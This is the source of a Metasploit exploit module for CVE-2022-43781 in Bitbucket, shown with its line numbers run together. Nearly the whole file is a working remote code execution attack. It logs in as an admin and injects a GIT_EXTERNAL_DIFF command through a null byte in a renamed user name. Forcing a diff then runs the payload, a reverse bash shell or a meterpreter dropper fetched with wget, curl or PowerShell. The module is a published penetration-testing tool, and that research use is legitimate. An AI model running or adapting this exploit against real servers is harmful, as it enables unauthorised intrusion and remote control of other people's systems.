Path: blob/master/modules/exploits/multi/http/bitbucket_env_var_rce.rb
33119 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Git10include Msf::Exploit::Git::SmartHttp11include Msf::Exploit::CmdStager12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Bitbucket Environment Variable RCE',19'Description' => %q{20For various versions of Bitbucket, there is an authenticated command injection21vulnerability that can be exploited by injecting environment22variables into a user name. This module achieves remote code execution23as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment24variable, a null character as a delimiter, and arbitrary code into a user's25user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable26will be run once the Bitbucket application is coerced into generating a diff.2728This module requires at least admin credentials, as admins and above29only have the option to change their user name.30},31'License' => MSF_LICENSE,32'Author' => [33'Ry0taK', # Vulnerability Discovery34'y4er', # PoC and blog post35'Shelby Pace' # Metasploit Module36],37'References' => [38[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],39[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],40[ 'CVE', '2022-43781']41],42'Privileged' => true,43'Targets' => [44[45'Linux Command',46{47'Platform' => 'unix',48'Type' => :unix_cmd,49'Arch' => [ ARCH_CMD ],50'Payload' => { 'Space' => 254 },51'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }52}53],54[55'Linux Dropper',56{57'Platform' => 'linux',58'MaxLineChars' => 254,59'Type' => :linux_dropper,60'Arch' => [ ARCH_X86, ARCH_X64 ],61'CmdStagerFlavor' => %i[wget curl],62'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }63}64],65[66'Windows Dropper',67{68'Platform' => 'win',69'MaxLineChars' => 254,70'Type' => :win_dropper,71'Arch' => [ ARCH_X86, ARCH_X64 ],72'CmdStagerFlavor' => [ :psh_invokewebrequest ],73'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }74}75]76],77'DisclosureDate' => '2022-11-16',78'DefaultTarget' => 0,79'Notes' => {80'Stability' => [ CRASH_SAFE ],81'Reliability' => [ REPEATABLE_SESSION ],82'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]83}84)85)8687register_options(88[89Opt::RPORT(7990),90OptString.new('USERNAME', [ true, 'User name to log in with' ]),91OptString.new('PASSWORD', [ true, 'Password to log in with' ]),92OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])93]94)95end9697def check98res = send_request_cgi(99'method' => 'GET',100'uri' => normalize_uri(target_uri.path, 'login'),101'keep_cookies' => true102)103104return CheckCode::Unknown('Failed to retrieve a response from the target') unless res105return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')106107nokogiri_data = res.get_html_document108footer = nokogiri_data&.at('footer')109return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer110111version_info = footer.at('span')&.children&.text112return CheckCode::Detected('Failed to find version information in footer section') unless version_info113114vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)115return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1116117version_str = vers_matches[1]118119vprint_status("Found version #{version_str} of Bitbucket")120major, minor, revision = version_str.split('.')121rev_num = revision.to_i122123case major124when '7'125case minor126when '0', '1', '2', '3', '4', '5'127return CheckCode::Appears128when '6'129return CheckCode::Appears if rev_num >= 0 && rev_num <= 18130when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'131return CheckCode::Appears132when '17'133return CheckCode::Appears if rev_num >= 0 && rev_num <= 11134when '18', '19', '20'135return CheckCode::Appears136when '21'137return CheckCode::Appears if rev_num >= 0 && rev_num <= 5138end139when '8'140print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')141case minor142when '0'143return CheckCode::Appears if rev_num >= 0 && rev_num <= 4144when '1'145return CheckCode::Appears if rev_num >= 0 && rev_num <= 4146when '2'147return CheckCode::Appears if rev_num >= 0 && rev_num <= 3148when '3'149return CheckCode::Appears if rev_num >= 0 && rev_num <= 2150when '4'151return CheckCode::Appears if rev_num == 0 || rev_num == 1152end153end154155CheckCode::Detected156end157158def default_branch159@default_branch ||= Rex::Text.rand_text_alpha(5..9)160end161162def uname_payload(cmd)163"#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"164end165166def log_in(username, password)167res = send_request_cgi(168'method' => 'GET',169'uri' => normalize_uri(target_uri.path, 'login'),170'keep_cookies' => true171)172173fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')174175res = send_request_cgi(176'method' => 'POST',177'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),178'keep_cookies' => true,179'vars_post' => {180'j_username' => username,181'j_password' => password,182'_atl_remember_me' => 'on',183'submit' => 'Log in'184}185)186187fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res188res = send_request_cgi(189'method' => 'GET',190'uri' => normalize_uri(target_uri.path, 'projects'),191'keep_cookies' => true192)193194fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res195unless res.body.include?('Logged in')196fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')197end198end199200def create_project201proj_uri = normalize_uri(target_uri.path, 'projects?create')202res = send_request_cgi(203'method' => 'GET',204'uri' => proj_uri,205'keep_cookies' => true206)207208fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')209210vprint_status('Retrieving security token')211html_doc = res.get_html_document212token_data = html_doc.at('div//input[@name="atl_token"]')213fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data214215@token = token_data['value']216fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?217218project_name = Rex::Text.rand_text_alpha(5..9)219project_key = Rex::Text.rand_text_alpha(5..9).upcase220res = send_request_cgi(221'method' => 'POST',222'uri' => proj_uri,223'keep_cookies' => true,224'vars_post' => {225'name' => project_name,226'key' => project_key,227'submit' => 'Create project',228'atl_token' => @token229}230)231232fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res233fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)234235print_status('Project creation was successful')236[ project_name, project_key ]237end238239def create_repository240repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')241res = send_request_cgi(242'method' => 'GET',243'uri' => repo_uri,244'keep_cookies' => true245)246247fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res248249html_doc = res.get_html_document250251dropdown_data = html_doc.at('li[@class="user-dropdown"]')252fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?253email = dropdown_data&.at('span')&.[]('data-emailaddress')254fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?255256repo_name = Rex::Text.rand_text_alpha(5..9)257res = send_request_cgi(258'method' => 'POST',259'uri' => repo_uri,260'keep_cookies' => true,261'vars_post' => {262'name' => repo_name,263'defaultBranchId' => default_branch,264'description' => '',265'scmId' => 'git',266'forkable' => 'false',267'atl_token' => @token,268'submit' => 'Create repository'269}270)271272fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res273res = send_request_cgi(274'method' => 'GET',275'keep_cookies' => true,276'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')277)278279fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404280print_good("Successfully created repository '#{repo_name}'")281282[ email, repo_name ]283end284285def generate_repo_objects(email, repo_file_data = [], parent_object = nil)286txt_data = Rex::Text.rand_text_alpha(5..20)287blob_object = GitObject.build_blob_object(txt_data)288file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"289290file_data = {291mode: '100755',292file_name: file_name,293sha1: blob_object.sha1294}295296tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])297tree_obj = GitObject.build_tree_object(tree_data)298commit_obj = GitObject.build_commit_object({299tree_sha1: tree_obj.sha1,300email: email,301message: Rex::Text.rand_text_alpha(4..30),302parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)303})304305{306objects: [ commit_obj, tree_obj, blob_object ],307file_data: file_data308}309end310311# create two files in two separate commits in order312# to view a diff and get code execution313def create_commits(email)314init_objects = generate_repo_objects(email)315commit_obj = init_objects[:objects].first316317refs = {318'HEAD' => "refs/heads/#{default_branch}",319"refs/heads/#{default_branch}" => commit_obj.sha1320}321322final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)323repo_objects = final_objects[:objects] + init_objects[:objects]324new_commit = final_objects[:objects].first325new_file = final_objects[:file_data][:file_name]326327git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")328res = send_receive_pack_request(329git_uri,330refs['HEAD'],331repo_objects,332'0' * 40 # no commits should exist yet, so no branch tip in repo yet333)334335fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res336fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')337fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')338339[ new_commit.sha1, commit_obj.sha1, new_file ]340end341342def get_user_id(curr_uname)343res = send_request_cgi(344'method' => 'GET',345'uri' => normalize_uri(target_uri.path, 'admin/users/view'),346'vars_get' => { 'name' => curr_uname }347)348349matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)350fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1351352matched_id[1]353end354355def change_username(curr_uname, new_uname)356@user_id ||= get_user_id(curr_uname)357358headers = {359'X-Requested-With' => 'XMLHttpRequest',360'X-AUSERID' => @user_id,361'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"362}363364vars = {365'name' => curr_uname,366'newName' => new_uname367}.to_json368369res = send_request_cgi(370'method' => 'POST',371'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),372'ctype' => 'application/json',373'keep_cookies' => true,374'headers' => headers,375'data' => vars376)377378unless res379print_bad('Did not receive a response to the user name change request')380return false381end382383unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')384print_bad('User name change was unsuccessful')385return false386end387388true389end390391def commit_uri(project_key, repo_name, commit_sha)392normalize_uri(393target_uri.path,394'rest/api/latest/projects',395project_key,396'repos',397repo_name,398'commits',399commit_sha400)401end402403def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)404commit_diff_uri = normalize_uri(405commit_uri(@project_key, @repo_name, latest_commit_sha),406'diff',407diff_file408)409410send_request_cgi(411'method' => 'GET',412'uri' => commit_diff_uri,413'keep_cookies' => true,414'vars_get' => { 'since' => first_commit_sha }415)416end417418def delete_repository(username)419vprint_status("Attempting to delete repository '#{@repo_name}'")420repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)421res = send_request_cgi(422'method' => 'DELETE',423'uri' => repo_uri,424'keep_cookies' => true,425'headers' => {426'X-AUSERNAME' => username,427'X-AUSERID' => @user_id,428'X-Requested-With' => 'XMLHttpRequest',429'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",430'ctype' => 'application/json',431'Accept' => 'application/json, text/javascript'432}433)434435unless res&.body&.include?('scheduled for deletion')436print_warning('Failed to delete repository')437return438end439440print_good('Repository has been deleted')441end442443def delete_project(username)444vprint_status("Now attempting to delete project '#{@project_name}'")445send_request_cgi( # fails to return a response446'method' => 'DELETE',447'uri' => normalize_uri(target_uri.path, 'projects', @project_key),448'keep_cookies' => true,449'headers' => {450'X-AUSERNAME' => username,451'X-AUSERID' => @user_id,452'X-Requested-With' => 'XMLHttpRequest',453'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",454'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",455'ctype' => 'application/json',456'Accept' => 'application/json, text/javascript, */*; q=0.01',457'Accept-Encoding' => 'gzip, deflate'458}459)460461res = send_request_cgi(462'method' => 'GET',463'uri' => normalize_uri(target_uri.path, 'projects', @project_key),464'keep_cookies' => true465)466467unless res&.code == 404468print_warning('Failed to delete project')469return470end471472print_good('Project has been deleted')473end474475def get_repo476res = send_request_cgi(477'method' => 'GET',478'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),479'keep_cookies' => true480)481482unless res483print_status('Couldn\'t access repos page. Will create repo')484return []485end486487json_data = JSON.parse(res.body)488unless json_data && json_data['size'] >= 1489print_status('No accessible repositories. Will attempt to create a repo')490return []491end492493repo_data = json_data['values'].first494repo_name = repo_data['slug']495project_key = repo_data['project']['key']496497unless repo_name && project_key498print_status('Could not find repo name and key. Creating repo')499return []500end501502[ repo_name, project_key ]503end504505def get_repo_info506unless @project_name && @project_key507print_status('Failed to find valid project information. Will attempt to create repo')508return nil509end510511res = send_request_cgi(512'method' => 'GET',513'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),514'keep_cookies' => true515)516517unless res518print_status("Failed to access existing repository #{@project_name}")519return nil520end521522html_doc = res.get_html_document523commit_data = html_doc.search('a[@class="commitid"]')524unless commit_data && commit_data.length > 1525print_status('No commits found for existing repo')526return nil527end528529latest_commit = commit_data[0]['data-commitid']530prev_commit = commit_data[1]['data-commitid']531532file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')533res = send_request_cgi(534'method' => 'GET',535'uri' => file_uri,536'keep_cookies' => true537)538539return nil unless res540541json = JSON.parse(res.body)542return nil unless json['values']543544path = json['values']&.first&.dig('path')545return nil unless path546547[ latest_commit, prev_commit, path['name'] ]548end549550def exploit551@use_public_repo = true552datastore['GIT_USERNAME'] = datastore['USERNAME']553datastore['GIT_PASSWORD'] = datastore['PASSWORD']554555if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?556fail_with(Failure::BadConfig, 'No credentials to log in with.')557end558559log_in(datastore['USERNAME'], datastore['PASSWORD'])560@curr_uname = datastore['USERNAME']561562@project_name, @project_key = get_repo563@repo_name = @project_name564@latest_commit, @first_commit, @diff_file = get_repo_info565unless @latest_commit && @first_commit && @diff_file566@use_public_repo = false567@project_name, @project_key = create_project568email, @repo_name = create_repository569@latest_commit, @first_commit, @diff_file = create_commits(email)570print_good("Commits added: #{@first_commit}, #{@latest_commit}")571end572573print_status('Sending payload')574case target['Type']575when :win_dropper576execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')577when :linux_dropper578execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)579when :unix_cmd580execute_command(payload.encoded.strip)581end582end583584def cleanup585if @curr_uname != datastore['USERNAME']586print_status("Changing user name back to '#{datastore['USERNAME']}'")587588if change_username(@curr_uname, datastore['USERNAME'])589@curr_uname = datastore['USERNAME']590else591print_warning('User name is still set to payload.' \592"Please manually change the user name back to #{datastore['USERNAME']}")593end594end595596unless @use_public_repo597delete_repository(@curr_uname) if @repo_name598delete_project(@curr_uname) if @project_name599end600end601602def execute_command(cmd, _opts = {})603if target['Platform'] == 'win'604curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))605else606curr_payload = uname_payload(cmd)607end608609unless change_username(@curr_uname, curr_payload)610fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')611end612613view_commit_diff(@latest_commit, @first_commit, @diff_file)614@curr_uname = curr_payload615end616end617618619